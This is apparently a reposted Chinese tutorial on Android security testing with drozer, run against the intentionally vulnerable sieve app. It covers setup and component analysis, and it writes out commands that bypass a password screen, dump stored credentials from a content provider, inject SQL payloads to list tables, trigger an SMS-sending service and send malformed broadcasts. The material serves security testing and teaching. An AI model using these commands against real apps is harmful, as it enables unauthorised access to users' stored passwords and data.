1. 程式人生 > >安全測試|移動端安全測試drozer

安全測試|移動端安全測試drozer

手機應用的快速增長,手機應用安全成為一個熱門的話題,android的安全問題有一大部分的原因是因為android的元件暴露、許可權使用不當導致的。

“ 

隨著網際網路應用的普及和人們對網際網路的依賴,網際網路的安全問題也日益凸顯。接下來的小編將帶您進入安全測試。

一、android四大元件

什麼是安卓應用元件?安卓主要由四大元件組成,Activity、Service、Content Providers、Broadcast Receivers.

Activity:是一個應用程式的元件,一個activity對應一個介面,是與使用者進行互動的。

Activity形態:

Active/Running: 

Activity處於活動狀態,此時Activity處於棧頂,是可見狀態,可與使用者進行互動。

Paused: 

當Activity失去焦點時,或被一個新的非全屏的Activity,或被一個透明的Activity放置在棧頂時,Activity就轉化為Paused狀態。但我們需要明白,此時Activity只是失去了與使用者互動的能力,其所有的狀態資訊及其成員變數都還存在,只有在系統記憶體緊張的情況下,才有可能被系統回收掉。

Stopped:

當一個Activity被另一個Activity完全覆蓋時,被覆蓋的Activity就會進入Stopped狀態,此時它不再可見,但是跟Paused狀態一樣保持著其所有狀態資訊及其成員變數。

Killed:

當Activity被系統回收掉時,Activity就處於Killed狀態。

Activity會在以上四種形態中相互切換,至於如何切換,這因使用者的操作不同而異。瞭解了Activity的4種形態後,我們就來聊聊Activity的生命週期。

ServiceService通常位於後臺執行,它一般不需要與使用者互動,因此Service元件沒有圖形使用者介面。Service元件需要繼承Service基類。Service元件通常用於為其他元件提供後臺服務或監控其他元件的執行狀態。

Content Providers:Content Provider用於儲存和獲取資料,並使其對所有應用程式可見。這是不同應用程式間共享資料的唯一方式,因為android沒有提供所有應用共同訪問的公共儲存區。只有需要在多個應用程式間共享資料是才需要內容提供者。

Broadcast Receivers:廣播接收器沒有使用者介面。然而,它們可以啟動一個activity或service來響應它們收到的資訊,或者用NotificationManager來通知使用者。通知可以用很多種方式來吸引使用者的注意力,例如閃動背燈、震動、播放聲音等。一般來說是在狀態列上放一個持久的圖示,使用者可以開啟它並獲取訊息。

二、環境搭建

android sdk;

adb 安裝;

jdk安裝,這裡需要是喲啊能1.7以下的jdk,使用1.8的會報錯,drozer暫不支援1.8的jdk

drozer安裝:

Drozer是一個常用的測試框架,它可以分為2個部分,一個是console-它執行在本地的計算機上,一個是server-它執行在android裝置上。當你使用console與android裝置互動時,基本上就是java程式碼輸入到執行在實際裝置上的drozer代理(agent)中。

drozer下載:https://labs.mwrinfosecurity.com/tools/drozer/ 下載drozer(msi)、agent.apk

Drozer安裝:windows下點選msi直接安裝

agent安裝:在測試機上安裝agent.apk

sieve安裝:下載sieve.apk,該apk是用來作為被測試的app

三、drozer驗證

1.開啟cmd,執行adb forward tcp:31415 tcp:31415,如圖所示 

2.在Android裝置上開啟Drozer Agent,如圖所示: 

此時可以看到enable是綠色的了。

3.在pc端cmd切換到drozer安裝目前,然後執行 drozer console connect,如圖所示:

四、測試

1.獲取要測試應用的包名

dz>run app.package.list -f sieve ,-f它是模糊匹配,匹配包名中的任一欄位,會列出包含該欄位的所有包名 

2.獲取應用的基本資訊

dz>run app.package.info -a com.mwr.example.sieve ,檢視該apk詳細資訊,可以看到應用的版本資訊,資料儲存的目錄,使用者ID,組ID,是否有共享庫,還有許可權資訊等 

3.確定存在可能被攻擊的介面

dz>run app.package.attacksurface com.mwr.example.sieve  

 

顯示了潛在可以被利用的元件個數: “exported”表示元件可以被其他App使用, services is debuggable表示我們可以用adb繫結一個偵錯程式到程序。暴露出來的3個activity,2個content provider,2個可以被adb繫結的service。

4.activity測試

(1)獲取activity資訊

dz>run app.activity.info -a com.mwr.example.sieve

可以看到有三個介面是可以被利用的。 

(2)啟動activity

dz>run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

通過app.activity.start命令可以不需要密碼直接進入passwordList介面

5.Content Provider測試

(1)獲取Content Provider資訊

run app.provider.info -a com.mwr.example.sieve 

(2)Content Providers(資料洩露)

先獲取所有可以訪問的Uri:

run scanner.provider.finduris -a com.mwr.example.sieve 

獲取各個Uri的資料:

dz>run app.provider.query

content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

查詢到資料說明存在漏洞

可以看到此時有一條資料,該條資料是之前在app新增的資料。這裡暴露了service、username、password、email的資訊。

(3)Content Providers(SQL注入)

content provider的具體資訊,包括名字,許可權,訪問路徑等

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

報錯則說明存在SQL注入,我們可以繼續查詢看看有哪些資料。 

列出所有表:

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table';--"

獲取某個表(如Key)中的資料:

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--" 

(4)同時檢測SQL注入和目錄遍歷

dz>run scanner.provider.injection -a com.mwr.example.sieve

5.service測試

(1)獲取service詳情

dz>run app.service.info -a com.mwr.example.sieve

(2)許可權提升

dz>run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

6.broadcast receive測試

(1)檢視暴露的廣播元件資訊:

dz>run app.broadcast.info -a com.package.name

獲取broadcast receivers資訊

dz>run app.broadcast.send --component 包名 --action android.intent.action.XXX

(2)嘗試拒絕服務攻擊檢測,向廣播元件傳送不完整intent(空action或空extras):

dz>run app.broadcast.send 通過intent傳送broadcast receiver

Drozer之所以稱之為框架(framework),因為它允許你編寫自己的模組或者外掛,擴充套件你的功能讓它試用你的功能。它的另外一個作用是,它本質上市一個不需要任何許可權的android app—這實際上是它的元件。